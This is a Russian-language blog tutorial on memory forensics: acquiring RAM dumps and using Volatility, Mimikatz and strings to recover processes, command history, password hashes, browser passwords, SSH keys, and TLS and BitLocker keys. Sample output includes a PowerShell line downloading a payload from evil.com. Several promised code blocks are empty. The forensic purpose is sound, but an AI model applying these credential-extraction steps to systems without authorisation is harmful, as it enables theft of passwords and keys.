Forensics, Memory Forensics, Форензика

Memory Forensics: как из дампа ОЗУ вытащить всё до последнего пароля

Привет, друг!

Почему ОЗУ — это клад

Оперативная память — это золотая жила для форензики. В отличие от жёсткого диска, в RAM хранится всё в открытом виде: расшифрованные данные, пароли в plaintext, ключи шифрования, история команд, открытые документы. Пока система работает, всё это болтается в памяти без защиты.

Даже если диск зашифрован BitLocker’ом или LUKS’ом — в памяти лежат расшифрованные данные. Закрыл браузер с паролями? Они ещё минут 20 болтаются в RAM. Вот почему дамп памяти — это святой Грааль для исследователя.

Получение дампа памяти

Windows

Классика — WinPmem:

winpmem_mini_x64.exe memory.raw

Для live-систем — DumpIt:

DumpIt.exe /O memory.dmp

Через VMware (если это виртуалка):

vmss2core -W memory.vmem memory.raw

Linux

Через LiME (Linux Memory Extractor):

# Компилируем модуль
cd LiME/src
make

# Загружаем и дампим
insmod lime-*.ko "path=/tmp/memory.lime format=lime"

Или через /dev/mem (старый способ):

dd if=/dev/mem of=/tmp/memory.dd bs=1M

macOS

Используем OSXPmem:

sudo osxpmem.app/osxpmem -o memory.aff4

Volatility — главное оружие

Volatility — это швейцарский нож memory forensics. Последняя версия — Volatility 3.

Установка:

pip3 install volatility3

Первым делом определяем профиль образа:

vol -f memory.raw windows.info

Базовые техники извлечения

Список процессов

vol -f memory.raw windows.pslist
vol -f memory.raw windows.pstree  # В виде дерева

Скрытые процессы (rootkit detection):

vol -f memory.raw windows.psxview

Сетевые соединения

vol -f memory.raw windows.netscan

Вывод покажет все TCP/UDP соединения, включая закрытые:

Offset    Proto  LocalAddr         ForeignAddr       State    PID
0x1234    TCP    192.168.1.100:445 10.0.0.5:12345   ESTABLISHED 4

История команд

Для CMD:

vol -f memory.raw windows.cmdline

Для PowerShell (через ConsoleHost):

vol -f memory.raw windows.consoles

Результат:

CommandHistory: 0x1abc1000 Application: powershell.exe Flags:
CommandCount: 5 LastAdded: 4 LastDisplayed: 4
0: Get-Credential
1: $pass = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText
2: Invoke-WebRequest http://evil.com/payload.exe

Извлечение файлов из памяти

Дамп конкретного процесса:

vol -f memory.raw -o dump/ windows.memmap --pid 1337 --dump

Поиск файлов в кэше:

vol -f memory.raw windows.filescan

Охота за паролями

Mimikatz в памяти

Ищем процесс LSASS (где хранятся credential):

vol -f memory.raw windows.pslist | grep lsass

Дампим LSASS:

vol -f memory.raw -o lsass.dmp windows.memmap --pid <LSASS_PID> --dump

Теперь прогоняем через Mimikatz:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

Результат:

Authentication Id : 0 ; 123456
User Name         : admin
Domain            : WORKGROUP
NTLM              : 8846f7eaee8fb117ad06bdd830b7586c
SHA1              : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

Браузеры — кладезь паролей

Chrome хранит пароли в процессе. Дампим и ищем:

vol -f memory.raw windows.vadyarascan --yara-rules "chrome.exe" --pid <CHROME_PID>

Поиск строк с паролями:

strings chrome.dmp | grep -E "(password|passwd|pwd)[:=]"

Пример вывода:

{"username":"admin@site.com","password":"SuperSecret123"}

SSH ключи и приватники

Ищем ssh-agent или pageant:

vol -f memory.raw linux.pslist | grep ssh-agent

Извлекаем память процесса и ищем RSA маркеры:

strings ssh-agent.dmp | grep -A 30 "BEGIN RSA PRIVATE KEY"

Hashdump — классика Windows

Извлекаем SAM и SYSTEM для получения хешей:

vol -f memory.raw windows.hashdump

Вывод:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
User:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Теперь гоним через John the Ripper или Hashcat.

Продвинутые техники

Извлечение SSL/TLS ключей

Если в памяти есть OpenSSL процесс, можно вытащить session keys:

vol -f memory.raw linux.bash | grep "SSLKEYLOGFILE"

Или через дамп процесса Firefox/Chrome ищем CLIENT_RANDOM:

strings firefox.dmp | grep "CLIENT_RANDOM"

Эти ключи можно использовать в Wireshark для расшифровки HTTPS трафика.

Clipboard data

Содержимое буфера обмена:

vol -f memory.raw windows.clipboard

Часто там висят скопированные пароли из менеджеров паролей.

Registry hives

Извлекаем ключи реестра:

vol -f memory.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"

Автозапуск, сохранённые WiFi пароли, RDP истории — всё там.

BitLocker ключи

Если система была с включённым BitLocker:

vol -f memory.raw windows.bitlocker

Или через strings:

strings memory.raw | grep -i "fvek"  # Full Volume Encryption Key

Keylogger detection

Ищем хуки клавиатуры:

vol -f memory.raw windows.keyboard

Или находим подозрительные DLL инжекты:

vol -f memory.raw windows.malfind

Автоматизация через скрипты

Вот быстрый Python-скрипт для массового извлечения:

Специализированные инструменты

Bulk Extractor

Автоматический поиск артефактов:

bulk_extractor -o output/ memory.raw

Найдёт email адреса, кредитки, URL, JSON с паролями.

MemProcFS

Монтирует дамп как файловую систему:

memprocfs -device memory.raw -mount Z:

Теперь можешь ходить по памяти как по обычным папкам.

Rekall

Альтернатива Volatility с интерактивным режимом:

rekall -f memory.raw

Redline

GUI-тул от FireEye для Windows:

  • Импортируй дамп
  • Запусти автоматический анализ
  • Получи отчёт с IOC и подозрительными активностями

Реальные кейсы

DarkSide Ransomware: Исследователи через memory forensics восстановили ключи шифрования из оперативки зараженной машины, что позволило расшифровать файлы без выкупа.

APT28: Анализ дампа памяти сервера выявил backdoor, который не оставлял следов на диске, но был полностью виден в RAM — включая C2 адреса и payload в plaintext.

Insider Threat: Компания через forensics дампа ноутбука сотрудника нашла в памяти FTP credentials к конкурентам и историю передачи файлов.

Защита от memory forensics

Шифрование памяти

Используй системы с encrypted RAM (Intel TME, AMD SME):

# Проверка поддержки
grep -i "tmе" /proc/cpuinfo

Очистка памяти

При завершении приложения:

Anti-forensics

Детект дампа и самоуничтожение:

Guard Pages

Храни секреты на защищённых страницах:

Чеклист для анализа

  • Определи профиль и ОС через windows.info / linux.banner
  • Проверь процессы и найди подозрительные через pslist
  • Извлеки LSASS для credential
  • Дампни браузеры для паролей и cookies
  • Проанализируй сетевые соединения netscan
  • Поищи скрытые процессы через psxview
  • Извлеки историю команд cmdline / bash
  • Проверь registry для автозапуска и сохранённых данных
  • Найди injected DLL через malfind
  • Поищи clipboard data и keylogger артефакты
  • Используй strings для поиска plaintext секретов
  • Проверь наличие encryption keys (BitLocker, TrueCrypt)

Полезные regex для strings

Memory Forensics: как из дампа ОЗУ вытащить всё до последнего пароля

На этом все. Всем хорошего дня!